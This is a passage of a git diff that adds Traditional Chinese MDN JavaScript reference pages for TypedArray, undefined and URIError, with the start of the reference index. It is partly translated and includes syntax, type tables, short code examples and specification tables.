+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="浏览器相容性">浏览器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toLowerCase")}}</p>
+
+<h2 id="参考">参考</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/typedarray/index.html b/files/zh-tw/web/javascript/reference/global_objects/typedarray/index.html
new file mode 100644
index 0000000000..f37e7ac069
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/typedarray/index.html
@@ -0,0 +1,268 @@
+---
+title: TypedArray
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray
+tags:
+  - JavaScript
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p><strong><em>TypedArray</em></strong> 物件表示了一個底層 <code><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/JavaScript_typed_arrays/ArrayBuffer">ArrayBuffer</a></code> 的類陣列（array-like）視圖，它能以限定的型別解讀、修改 <code>ArrayBuffer</code>。但並沒有名為 <code>TypedArray</code> 的內建物件，<code>TypedArray</code> 也不存在可直接呼叫的建構式。真正能夠使用的是幾個原型繼承自 <code>TypedArray</code> 的內建物件，它們可以建立限定成員型別的物件實體來操作 <code>ArrayBuffer</code>。這些 <code>TypedArray</code> 型別的物件僅為視圖，並不會存放資料，所有的資料皆實際儲存於 <code>ArrayBuffer</code> 物件當中。以下將說明每種限定成員型別之 <code>TypedArray</code> 的共同屬性與方法。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-constructor.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new<em> TypedArray</em>(length);
+new <em>TypedArray</em>(typedArray);
+new <em>TypedArray</em>(object);
+new <em>TypedArray</em>(buffer [, byteOffset [, length]]);
+
+where <em>TypedArray()</em> is one of:
+
+Int8Array();
+Uint8Array();
+Uint8ClampedArray();
+Int16Array();
+Uint16Array();
+Int32Array();
+Uint32Array();
+Float32Array();
+Float64Array();
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt>length</dt>
+ <dd>When called with a <code>length</code> argument, a typed array containing <code>length</code> zeroes is created.</dd>
+ <dt>typedArray</dt>
+ <dd>When called with a <code>typedArray</code> argument, which can be an object of any of the typed array types (such as <code>Int32Array</code>), the <code>typedArray</code> gets copied into a new typed array. Each value in <code>typedArray</code> is converted to the corresponding type of the constructor before being copied into the new array.</dd>
+ <dt>object</dt>
+ <dd>When called with an <code>object</code> argument, a new typed array is created as if by the <code><em>TypedArray</em>.from()</code> method.</dd>
+ <dt>buffer, byteOffset, length</dt>
+ <dd>When called with a <code>buffer</code>, and optionally a <code>byteOffset</code> and a <code>length</code> argument, a new typed array view is created that views the specified {{jsxref("ArrayBuffer")}}. The <code>byteOffset</code> and <code>length</code> parameters specify the memory range that will be exposed by the typed array view.  If both are omitted, all of <code>buffer</code> is viewed; if only <code>length</code> is omitted, the remainder of <code>buffer</code> is viewed.</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>ECMAScript 2015 defines a <em>TypedArray</em> constructor that serves as the <code>[[Prototype]]</code> of all <em>TypedArray</em> constructors.  This constructor is not directly exposed: there is no global <code>%TypedArray%</code> or <code>TypedArray</code> property.  It is only directly accessible through <code>Object.getPrototypeOf(Int8Array)</code> and similar.  All <em>TypedArray</em>s constructors inherit common properties from the <code>%TypedArray%</code> constructor function.  Additionally, all typed array prototypes (<em>TypedArray</em><code>.prototype</code>) have <code>%TypedArray%.prototype</code> as their <code>[[Prototype]]</code>.</p>
+
+<p>The <code>%TypedArray%</code> constructor on its own is not particularly useful.  Calling it or using it in a <code>new</code> expression will throw a <code>TypeError</code>, except when used during object creation in JS engines that support subclassing.  There are at present no such engines, so <code>%TypedArray%</code> is only useful to polyfill functions or properties onto all <em>TypedArray</em> constructors.</p>
+
+<p>When creating an instance of a <em>TypedArray</em> (e.g. <code>Int8Array</code>), an array buffer is created internally in memory or, if an <code>ArrayBuffer</code> object is given as constructor argument, then this is used instead.  The buffer address is saved as an internal property of the instance and all the methods of %<code>TypedArray</code>%.<code>prototype</code>, i.e. set value and get value etc., operate on that array buffer address.</p>
+
+<h3 id="Property_access">Property access</h3>
+
+<p>You can reference elements in the array using standard array index syntax (that is, using bracket notation). However, getting or setting indexed properties on typed arrays will not search in the prototype chain for this property, even when the indices are out of bound. Indexed properties will consult the {{jsxref("ArrayBuffer")}} and will never look at object properties. You can still use named properties, just like with all objects.</p>
+
+<pre class="brush: js">// Setting and getting using standard array syntax
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+
+// Indexed properties on prototypes are not consulted (Fx 25)
+Int8Array.prototype[20] = 'foo';
+(new Int8Array(32))[20]; // 0
+// even when out of bound
+Int8Array.prototype[20] = 'foo';
+(new Int8Array(8))[20]; // undefined
+// or with negative integers
+Int8Array.prototype[-1] = 'foo';
+(new Int8Array(8))[-1]; // undefined
+
+// Named properties are allowed, though (Fx 30)
+Int8Array.prototype.foo = 'bar';
+(new Int8Array(32)).foo; // "bar"</pre>
+
+<h2 id="TypedArray_物件">TypedArray 物件</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Type</td>
+   <td class="header">Value Range</td>
+   <td class="header">Size in bytes</td>
+   <td class="header">Description</td>
+   <td class="header">Web IDL type</td>
+   <td class="header">Equivalent C type</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td>-128 to 127</td>
+   <td>1</td>
+   <td>8-bit two's complement signed integer</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td>0 to 255</td>
+   <td>1</td>
+   <td>8-bit unsigned integer</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td>0 to 255</td>
+   <td>1</td>
+   <td>8-bit unsigned integer (clamped)</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td>-32768 to 32767</td>
+   <td>2</td>
+   <td>16-bit two's complement signed integer</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td>0 to 65535</td>
+   <td>2</td>
+   <td>16-bit unsigned integer</td>
+   <td><code>unsigned short</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td>-2147483648 to 2147483647</td>
+   <td>4</td>
+   <td>32-bit two's complement signed integer</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td>0 to 4294967295</td>
+   <td>4</td>
+   <td>32-bit unsigned integer</td>
+   <td><code>unsigned long</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td>1.2x10<sup>-38</sup> to 3.4x10<sup>38</sup></td>
+   <td>4</td>
+   <td>32-bit IEEE floating point number ( 7 significant digits e.g. 1.1234567)</td>
+   <td><code>unrestricted float</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td>5.0x10<sup>-324</sup> to 1.8x10<sup>308</sup></td>
+   <td>8</td>
+   <td>64-bit IEEE floating point number (16 significant digits e.g. 1.123...15)</td>
+   <td><code>unrestricted double</code></td>
+   <td><code>double</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Returns a number value of the element size for the different typed array objects.</dd>
+ <dt><em>TypedArray</em>.length</dt>
+ <dd>Length property whose value is 0.</dd>
+ <dt>{{jsxref("TypedArray.name")}}</dt>
+ <dd>Returns the string value of the constructor name. E.g "Int8Array".</dd>
+ <dt>{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}</dt>
+ <dd>The constructor function that is used to create derived objects.</dd>
+ <dt>{{jsxref("TypedArray.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from()")}}</dt>
+ <dd>Creates a new typed array from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of()")}}</dt>
+ <dd>Creates a new typed array with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="TypedArray_原型">TypedArray 原型</h2>
+
+<p>All <em>TypedArray</em>s inherit from {{jsxref("TypedArray.prototype")}}.</p>
+
+<h3 id="屬性_2">屬性</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','Properties')}}</p>
+
+<h3 id="方法_2">方法</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','Methods')}}</p>
+
+<h3 id="Methods_Polyfill">Methods Polyfill</h3>
+
+<p>Many of the methods used in Typed Arrays can be polyfilled using the methods present in regular Javascript Arrays. The following snippet of JavaScript demonstrates how you might polyfill any missing Typed Array methods.</p>
+
+<pre class="brush: js example-bad">var typedArrayTypes = [<code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int8Array" title="The Int8Array typed array represents an array of twos-complement 8-bit signed integers. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Int8Array</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array" title="The Uint8Array typed array represents an array of 8-bit unsigned integers. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Uint8Array</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray" title="The Uint8ClampedArray typed array represents an array of 8-bit unsigned integers clamped to 0-255; if you specified a value that is out of the range of [0,255], 0 or 255 will be set instead; if you specify a non-integer, the nearest integer will be set. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Uint8ClampedArray</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int16Array" title="The Int16Array typed array represents an array of twos-complement 16-bit signed integers in the platform byte order. If control over byte order is needed, use DataView instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Int16Array</a>,
+</code>          <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint16Array" title="The Uint16Array typed array represents an array of 16-bit unsigned integers in the platform byte order. If control over byte order is needed, use DataView instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Uint16Array</a>, ​​​<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int32Array" title="The Int32Array typed array represents an array of twos-complement 32-bit signed integers in the platform byte order. If control over byte order is needed, use DataView instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Int32Array</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint32Array" title="The Uint32Array typed array represents an array of 32-bit unsigned integers in the platform byte order. If control over byte order is needed, use DataView instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Uint32Array</a>, ​​​<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float32Array" title="The Float32Array typed array represents an array of 32-bit floating point numbers (corresponding to the C float data type) in the platform byte order. If control over byte order is needed, use DataView instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).">Float32Array</a>, </code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64Array" title="The Float64Array typed array represents an array of 64-bit floating point numbers (corresponding to the C double data type) in the platform byte order. If control over byte order is needed, use DataView instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation)."><code>Float64Array</code></a>];
+
+for (var k in typedArrayTypes)
+    for (var v in Array.prototype)
+        if (Array.prototype.hasOwnProperty(v) &amp;&amp;
+          !typedArrayTypes[k].prototype.hasOwnProperty(v))
+            typedArrayTypes[k].prototype[v] = Array.prototype[v];
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Defined as <code>TypedArray</code> and <code>ArrayBufferView</code> interface with typed array view types. Superseded by ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard. Specified behaviour for indexed and named properties. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray")}}</p>
+
+<h2 id="相容性備註">相容性備註</h2>
+
+<p>Starting with ECMAScript 2015, <code>TypedArray</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>TypedArray</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Int8Array([1, 2, 3]);
+// TypeError: calling a builtin Int8Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Int8Array([1, 2, 3]);</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/undefined/index.html b/files/zh-tw/web/javascript/reference/global_objects/undefined/index.html
new file mode 100644
index 0000000000..f352c84d71
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/undefined/index.html
@@ -0,0 +1,136 @@
+---
+title: undefined
+slug: Web/JavaScript/Reference/Global_Objects/undefined
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>The global <code><strong>undefined</strong></code> property represents the primitive value <code>{{Glossary("Undefined", "undefined")}}</code>. It is one of JavaScript's {{Glossary("Primitive", "primitive types")}}.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-undefined.html")}}</div>
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>undefined</code></pre>
+
+<h2 id="描述">描述</h2>
+
+<p><code>undefined</code> is a property of the <em>global object</em>; i.e., it is a variable in global scope. The initial value of <code>undefined</code> is the primitive value <code>{{Glossary("Undefined", "undefined")}}</code>.</p>
+
+<p>In modern browsers (JavaScript 1.8.5 / Firefox 4+), <code>undefined</code> is a non-configurable, non-writable property per the ECMAScript 5 specification. Even when this is not the case, avoid overriding it.</p>
+
+<p>A variable that has not been assigned a value is of type undefined. A method or statement also returns <code>undefined</code> if the variable that is being evaluated does not have an assigned value. A function returns <code>undefined</code> if a value was not {{jsxref("Statements/return", "returned")}}.</p>
+
+<div class="warning">
+<p>While it is possible to use it as an {{Glossary("Identifier", "identifier")}} (variable name) in any scope other than the global scope (because <code>undefined</code> is not a {{jsxref("Reserved_Words", "reserved word")}}), doing so is a very bad idea that will make your code difficult to maintain and debug.</p>
+
+<pre class="brush: js">//DON'T DO THIS
+
+// logs "foo string"
+(function() { var undefined = 'foo'; console.log(undefined, typeof undefined); })();
+
+// logs "foo string"
+(function(undefined) { console.log(undefined, typeof undefined); })('foo');
+</pre>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Strict_equality_and_undefined">Strict equality and <code>undefined</code></h3>
+
+<p>You can use <code>undefined</code> and the strict equality and inequality operators to determine whether a variable has a value. In the following code, the variable <code>x</code> is not defined, and the <code>if</code> statement evaluates to true.</p>
+
+<pre class="brush: js">var x;
+if (x === undefined) {
+   // these statements execute
+}
+else {
+   // these statements do not execute
+}
+</pre>
+
+<div class="note">
+<p>備註：The strict equality operator rather than the standard equality operator must be used here, because <code>x == undefined</code> also checks whether <code>x</code> is <code>null</code>, while strict equality doesn't. <code>null</code> is not equivalent to <code>undefined</code>. See {{jsxref("Operators/Comparison_Operators", "comparison operators")}} for details.</p>
+</div>
+
+<h3 id="Typeof_operator_and_undefined"><code>Typeof</code> operator and <code>undefined</code></h3>
+
+<p>Alternatively, {{jsxref("Operators/typeof", "typeof")}} can be used:</p>
+
+<pre class="brush: js">var x;
+if (typeof x === 'undefined') {
+   // these statements execute
+}
+</pre>
+
+<p>One reason to use {{jsxref("Operators/typeof", "typeof")}} is that it does not throw an error if the variable has not been declared.</p>
+
+<pre class="brush: js">// x has not been declared before
+if (typeof x === 'undefined') { // evaluates to true without errors
+   // these statements execute
+}
+
+if (x === undefined) { // throws a ReferenceError
+
+}
+</pre>
+
+<p>However, this kind of technique should be avoided. JavaScript is a statically scoped language, so knowing if a variable is declared can be read by seeing whether it is declared in an enclosing context. The only exception is the global scope, but the global scope is bound to the global object, so checking the existence of a variable in the global context can be done by checking the existence of a property on the <em>global object</em> (using the {{jsxref("Operators/in", "in")}} operator, for instance).</p>
+
+<h3 id="Void_operator_and_undefined"><code>Void</code> operator and <code>undefined</code></h3>
+
+<p>The {{jsxref("Operators/void", "void")}} operator is a third alternative.</p>
+
+<pre class="brush: js">var x;
+if (x === void 0) {
+   // these statements execute
+}
+
+// y has not been declared before
+if (y === void 0) {
+   // throws a - Uncaught ReferenceError: y is not defined
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-4.3.9', 'undefined')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.undefined")}}</p>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/urierror/index.html b/files/zh-tw/web/javascript/reference/global_objects/urierror/index.html
new file mode 100644
index 0000000000..be0bb96d13
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/urierror/index.html
@@ -0,0 +1,131 @@
+---
+title: URIError
+slug: Web/JavaScript/Reference/Global_Objects/URIError
+translation_of: Web/JavaScript/Reference/Global_Objects/URIError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>URIError</strong></code> 物件在全域的URI處理函式被錯誤使用時作為一個錯誤被拋出。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>new URIError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>可選。具人類可讀性的錯誤說明</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>可選。包含造成錯誤發生的程式碼的檔案名稱</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>可選。造成錯誤發生的程式碼行號</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p><code>URIError</code> 在全域的URI處理函式被傳入了一個錯誤編碼的URI時被拋出。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("URIError.prototype")}}</dt>
+ <dd>允許對一個 <code>URIError</code> 物件增加其屬性。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p>普遍的 <code>URIError</code> 自身沒有包含方法，儘管他的確從原型鍊中繼承了一些。</p>
+
+<h2 id="URIError_物件實體"><code>URIError</code> 物件實體</h2>
+
+<h3 id="屬性_2">屬性</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype', 'Properties')}}</div>
+
+<h3 id="方法_2">方法</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype', 'Methods')}}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Catch_一個_URIError">Catch 一個 <code>URIError</code></h3>
+
+<pre class="brush: js">try {
+  decodeURIComponent('%');
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "malformed URI sequence"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "Scratchpad/1"
+  console.log(e.lineNumber);          // 2
+  console.log(e.columnNumber);        // 2
+  console.log(e.stack);               // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="生成一個_URIError">生成一個 <code>URIError</code></h3>
+
+<pre class="brush: js">try {
+  throw new URIError('Hello', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "Hello"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "someFile.js"
+  console.log(e.lineNumber);          // 10
+  console.log(e.columnNumber);        // 0
+  console.log(e.stack);               // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-15.11.6.6', 'URIError')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.6', 'URIError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.URIError")}}</p>
+</div>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("URIError.prototype")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/index.html b/files/zh-tw/web/javascript/reference/index.html
new file mode 100644
index 0000000000..59367dbb12
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/index.html
@@ -0,0 +1,300 @@
+---
+title: JavaScript 參考文件
+slug: Web/JavaScript/Reference
+tags:
+  - JavaScript
+  - NeedsTranslation
+translation_of: Web/JavaScript/Reference
+---
+<div>{{JsSidebar}}</div>
+
+<p>在 MDN 的 JavaScript 分區中，這一部分被作爲 Javascript 的資料庫。閱讀<a href="https://wiki.developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/About">關於該參考</a>以了解更多。</p>
+
+<h2 id="全域物件">全域物件</h2>
+
+<p>本章節記錄了所有 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects">JavaScript 標準內建物件</a> 以及其方法與屬性。</p>
+
+<ul class="card-grid">
+ <li><span>數值屬性</span>
+
+  <p>{{JSxRef("Infinity")}}<br>
+   {{JSxRef("NaN")}}<br>
+   {{JSxRef("undefined")}}<br>
+   {{JSxRef("globalThis")}}</p>
+ </li>
+ <li><span>函數屬性</span>
+  <p>{{JSxRef("Global_Objects/eval", "eval()")}}<br>
+   {{JSxRef("Global_Objects/isFinite", "isFinite()")}}<br>
+   {{JSxRef("Global_Objects/isNaN", "isNaN()")}}<br>
+   {{JSxRef("Global_Objects/parseFloat", "parseFloat()")}}<br>
+   {{JSxRef("Global_Objects/parseInt", "parseInt()")}}<br>
+   {{JSxRef("Global_Objects/decodeURI", "decodeURI()")}}<br>
+   {{JSxRef("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}<br>
+   {{JSxRef("Global_Objects/encodeURI", "encodeURI()")}}<br>
+   {{JSxRef("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</p>
+ </li>
+ <li><span>基礎物件</span>
+  <p>{{JSxRef("Object")}}<br>
+   {{JSxRef("Function")}}<br>
+   {{JSxRef("Boolean")}}<br>
+   {{JSxRef("Symbol")}}</p>
+ </li>
+ <li><span>Error objects</span>
+  <p>{{JSxRef("Error")}}<br>
+   {{JSxRef("AggregateError")}}<br>
+   {{JSxRef("EvalError")}}<br>
+   {{JSxRef("InternalError")}}<br>
+   {{JSxRef("RangeError")}}<br>
+   {{JSxRef("ReferenceError")}}<br>
+   {{JSxRef("SyntaxError")}}<br>
+   {{JSxRef("TypeError")}}<br>
+   {{JSxRef("URIError")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>數字與日期</span>
+
+  <p>{{JSxRef("Number")}}<br>
+   {{JSxRef("BigInt")}}<br>
+   {{JSxRef("Math")}}<br>
+   {{JSxRef("Date")}}</p>
+ </li>
+ <li><span>文字處理</span>
+  <p>{{JSxRef("String")}}<br>
+   {{JSxRef("RegExp")}}</p>
+ </li>
+ <li><span>具索引的集合</span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> </a>{{JSxRef("Array")}}<br>
+  {{JSxRef("Int8Array")}}<br>
+  {{JSxRef("Uint8Array")}}<br>
+  {{JSxRef("Uint8ClampedArray")}}<br>
+  {{JSxRef("Int16Array")}}<br>
+  {{JSxRef("Uint16Array")}}<br>
+  {{JSxRef("Int32Array")}}<br>
+  {{JSxRef("Uint32Array")}}<br>
+  {{JSxRef("Float32Array")}}<br>
+  {{JSxRef("Float64Array")}}<br>
+  {{JSxRef("BigInt64Array")}}<br>
+  {{JSxRef("BigUint64Array")}}</li>
+ <li><span>具鍵值的集合</span>
+  <p>{{JSxRef("Map")}}<br>
+   {{JSxRef("Set")}}<br>
+   {{JSxRef("WeakMap")}}<br>
+   {{JSxRef("WeakSet")}}</p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span>結構化資料</span>
+
+  <p>{{JSxRef("ArrayBuffer")}}<br>
+   {{JSxRef("SharedArrayBuffer")}}<br>
+   {{JSxRef("Atomics")}}<br>
+   {{JSxRef("DataView")}}<br>
+   {{JSxRef("JSON")}}</p>
+ </li>
+ <li><span>控制抽象化物件</span>
+  <p>{{JSxRef("Promise")}}<br>
+   {{JSxRef("Generator")}}<br>
+   {{JSxRef("GeneratorFunction")}}<br>
+   {{JSxRef("AsyncFunction")}}</p>
+ </li>
+ <li><span>Reflection</span>
+  <p>{{JSxRef("Reflect")}}<br>
+   {{JSxRef("Proxy")}}</p>
+ </li>
+ <li><span>國際化</span>
+  <p>{{JSxRef("Intl")}}<br>
+   {{JSxRef("Global_Objects/Collator", "Intl.Collator")}}<br>
+   {{JSxRef("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}<br>
